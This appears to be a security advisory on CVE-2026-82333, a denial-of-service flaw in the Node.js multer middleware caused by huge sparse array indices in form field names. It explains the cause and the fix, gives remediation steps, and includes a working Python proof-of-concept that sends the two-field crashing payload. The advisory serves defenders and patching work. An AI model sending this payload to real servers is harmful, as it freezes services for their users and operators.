Sep 9, 2026·7 min read·3 visits
Unauthenticated remote attackers can freeze Node.js web applications using multer by sending low-bandwidth multipart POST requests containing extremely large array indices, which blocks the single-threaded event loop via synchronous sparse-array conversion.
A high-severity denial of service vulnerability in the Node.js middleware 'multer' allows unauthenticated remote attackers to exhaust CPU resources and freeze applications. By submitting small, specially crafted 'multipart/form-data' requests containing large array indices alongside conflicting parameter keys, attackers force synchronous execution loops over up to 4.2 billion elements within the underlying 'append-field' library.
The node package multer is an industry-standard middleware utilized within the Node.js ecosystem (principally with Express) to handle multipart/form-data uploads. Under normal operating conditions, it processes file streams and incoming textual fields, parsing them into accessible objects on the HTTP request context. The attack surface of this library is exposed to any unauthenticated public endpoint that accepts multipart payloads.
The vulnerability, identified as CVE-2026-82333 (and tracked via GHSA-535w-7cp7-47q4), belongs to the CWE-400 class: Uncontrolled Resource Consumption. The security flaw stems from the library's reliance on a direct helper dependency named append-field. This library parses complex nested bracket notation within form field names, transforming keys like item[0] into multi-dimensional objects and arrays dynamically.
When a malicious request is accepted, append-field attempts to resolve schema conflicts in form parameter structures by running deep sequential iterations. This processing occurs synchronously on the main Node.js event loop thread. As a result, a single malicious payload can block all server execution, inducing immediate and total Denial of Service (DoS) for all concurrent and future network connections without causing an application crash or throwing an unhandled exception.
The underlying vulnerability exists due to the divergence in how the V8 engine handles memory allocation for sparse JavaScript arrays compared to how libraries sequentially traverse them. In JavaScript, arrays are objects. When an element is assigned to an arbitrary high-index position (for example, array[4294967294] = 'value'), V8 does not allocate physical memory for the billions of preceding empty indices. Instead, it instantiates a 'sparse array' with an internal length metadata attribute set to $index + 1$.
The initialization of this sparse array is computationally efficient and requires negligible time and memory. The vulnerability is triggered when the application parser receives a subsequent conflicting parameter under the same base key but with a non-numeric child structure (for example, payload[sibling]). This structure mismatch forces append-field to normalize the existing sparse array into a flat object configuration to merge the elements.
To conduct this normalization, the unpatched append-field library runs a standard, synchronous for loop that iterates sequentially from 0 to array.length. When the array length is close to the maximum 32-bit unsigned integer ceiling ($4,294,967,295$), this loop is executed billions of times. Because the Node.js execution architecture relies entirely on a single-threaded event loop, this process locks up CPU cores completely. The server becomes unresponsive to keep-alive requests, health checks, or new connection handshakes.
Prior to the patch, multer did not perform structural or numerical limits validation on the bracket keys processed from input field names before handing them to append-field. The fix committed in 73c1759fa93b87366bc6dbd7abe1b80ddff7d27c implements a pre-parser check to evaluate whether any structured input exceeds a designated numeric array threshold.
Below is the logic introduced inside lib/make-middleware.js to parse bracket sequences and halt evaluation prior to reaching append-field:
// Evaluates whether nested brackets define a sparse array index that exceeds a safe limit
function exceedsArrayIndexLimit (fieldname, limit) {
// Match only field names parsed as a bracket path that construct arrays
if (!/^[^[]+(?:\[[^\]]+\])*(?:\[\])?$/.test(fieldname)) return false
var pattern = /\[(\d+)\]/g
var match
while ((match = pattern.exec(fieldname)) !== null) {
if (Number(match[1]) > limit) return true
}
return false
}The parsed indexes are extracted via regex execution on \[(\d+)\]. If a numerical index exceeds the application-specified limit, the middleware blocks further payload processing and immediately executes the request termination handler:
if (limits && Object.prototype.hasOwnProperty.call(limits, 'fieldArrayIndexLimit')) {
if (exceedsArrayIndexLimit(fieldname, limits.fieldArrayIndexLimit)) {
return abortWithCode('LIMIT_FIELD_ARRAY_INDEX', fieldname)
}
}This verification ensures that any array structures generated by input field parameters are kept within defined boundaries. However, the protection mechanism is entirely opt-in; if the user does not explicitly supply a configured limits.fieldArrayIndexLimit parameter, the threshold remains set to Infinity, rendering the system vulnerable despite installing the updated package.
An attacker needs no authentication or prior session privileges to execute this exploit. The target endpoint must simply utilize multer for parsing incoming form data. The request must be structured as a standard POST request with a Content-Type of multipart/form-data.
The exploit payload consists of exactly two form parameters under the same base parameter namespace. The first parameter specifies an array index position near the 32-bit boundary limit (e.g., 4294967294), which forces the instantiation of the maximum-size sparse array. The second parameter defines a non-integer, alphanumeric sibling property (e.g., sibling), which forces the parser to initiate array-to-object serialization.
Below is a python-based verification script demonstrating how the exploit can be verified against a target local endpoint:
import requests
import sys
target_url = "http://localhost:3000/upload"
payload = {
'exploit[4294967294]': (None, 'vulnerability_test'),
'exploit[sibling]': (None, 'trigger_conversion')
}
try:
print("[*] Dispatching exploit request...")
response = requests.post(target_url, files=payload, timeout=8)
print(f"[-] Connection succeeded. Status code: {response.status_code}. Target might be patched.")
except requests.exceptions.ReadTimeout:
print("[+] Target locked. Timeout encountered. Event loop is blocked (Vulnerable).")
except requests.exceptions.ConnectionError:
print("[+] Connection failed. Target may have run out of memory or restarted.")The impact of CVE-2026-82333 is categorized as a complete Denial of Service (DoS). Because Node.js utilizes a single execution thread for application routing, middleware execution, and controller actions, blocking this thread completely halts the entire application ecosystem.
While the vulnerability does not allow remote code execution, database compromise, or administrative credential extraction, the operational effect is severe. A single attacker utilizing minimal network resources can disable high-capacity enterprise APIs. The CPU core hosting the targeted process remains pinned at 100% capacity until the process is manually killed by infrastructure watchdogs or system administrators.
Furthermore, because the process does not terminate naturally through an unhandled error exception, container orchestration platforms (like Kubernetes) utilizing basic process checks may still classify the container as 'Running'. Unless health checks are explicitly configured to measure request-response latencies via liveness probes, automated container recovery systems will fail to restart the unresponsive instances.
Remediating this vulnerability requires a combination of dependency upgrades and manual code adjustments. Simply updating the dependency is insufficient because the limit is inactive by default.
First, modify your dependency requirements in package.json to ensure multer is updated to version 2.3.0 or later:
npm install multer@2.3.0Second, configure your middleware initialization to enforce an explicit limit on the maximum index dimension allowed in parsed field arrays. Set fieldArrayIndexLimit to a secure, minimal boundary matching your expected form data requirements (for instance, 100 elements):
const multer = require('multer');
// Safe initialization configuration
const upload = multer({
dest: 'uploads/',
limits: {
fileSize: 10 * 1024 * 1024, // 10MB limit
fieldArrayIndexLimit: 100 // Prevents sparse array DoS exploits
}
});Additionally, write a custom global error handling routine inside your application to identify and process LIMIT_FIELD_ARRAY_INDEX errors, returning a standard HTTP 400 Bad Request instead of letting requests hang or fall through to default error handlers:
app.use((err, req, res, next) => {
if (err instanceof multer.MulterError && err.code === 'LIMIT_FIELD_ARRAY_INDEX') {
return res.status(400).json({
status: 'error',
code: 'INVALID_PARAMETER_INDEX',
message: 'The submission includes a parameter array index that exceeds authorized limits.'
});
}
next(err);
});CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
multer OpenJS Foundation | < 2.3.0 | 2.3.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| Attack Vector | Network |
| CVSS v3.1 Score | 7.5 (High) |
| EPSS Score | 0.00278 (20.04% percentile) |
| Exploit Status | poc |
| KEV Status | Not Listed |
| Impact | Denial of Service (Complete) |
The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to cause resource depletion.
CVE-2026-77063 details a security flaw in multer, the standard multipart/form-data handler for Node.js, where asynchronous file filters introduce a race condition. This condition causes the library to miss file size limitation events, resulting in the silent acceptance of truncated files.
A resource consumption vulnerability exists in the multer library version 2.2.0 when utilizing the disk storage engine. When a remote client aborts or truncates an in-progress file upload, multer removes the partial file from the disk but fails to properly close the active write stream. This behavior leaves the underlying file descriptor open in the operating system, allowing a remote attacker to systematically exhaust the server's file descriptor limits and trigger a Denial of Service.
CVE-2026-77078 is a critical denial of service vulnerability in the multer Node.js package, allowing unauthenticated remote attackers to crash the runtime process using a single crafted multipart/form-data HTTP payload.
A path traversal vulnerability (CWE-22) in the Microsoft TypeSpec compiler core and associated emitter packages permits unvalidated user input to escape the designated output directory, resulting in arbitrary JSON and YAML file creation or modification on the host system.
A critical parser differential vulnerability exists in Nodemailer prior to version 9.1.0. An attacker can bypass recipient-domain validation checks by utilizing RFC 5322 comments, leading to unauthorized email routing.
An algorithmic complexity vulnerability in Nodemailer before version 9.1.0 allows remote attackers to block the Node.js event loop. This denial of service is triggered by processing large or complex lists of email addresses, leading to quadratic resource consumption.